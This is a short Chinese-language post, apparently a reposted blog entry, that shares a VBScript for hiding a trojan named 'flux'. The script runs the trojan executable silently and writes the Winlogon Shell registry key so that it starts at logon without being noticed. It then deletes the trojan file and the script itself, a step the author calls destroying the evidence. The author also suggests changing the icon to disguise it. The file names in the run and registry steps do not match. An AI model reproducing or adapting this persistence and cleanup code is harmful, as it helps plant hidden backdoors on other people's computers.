終于寫出了個腳本，實現(xiàn)flux在注冊表中的啟動，當然是更隱蔽的方法，別人知道了這個地方也就沒戲了。
不過別人一般沒這個閑工夫檢查那么多位置的！就連我也做不到～～
代碼如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //運行木馬程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//寫進注冊表項實現(xiàn)自啟動
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木馬的執(zhí)行完畢
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毀尸滅跡
再修改下圖標就大功告成了！
公眾號
事業(yè)單位
當前位置：
公考類
招聘類
各類考試